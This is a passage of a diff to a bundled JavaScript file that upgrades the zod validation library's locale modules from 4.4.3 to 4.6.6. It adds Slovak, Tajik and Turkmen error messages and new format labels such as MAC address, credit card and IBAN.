"\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -55710,12 +57878,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -55788,17 +57960,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55824,12 +58114,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -55898,17 +58192,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55932,14 +58227,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -56009,17 +58308,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56045,12 +58345,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -56120,17 +58424,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56156,12 +58578,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -56231,17 +58657,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56267,12 +58802,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -56337,17 +58876,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const 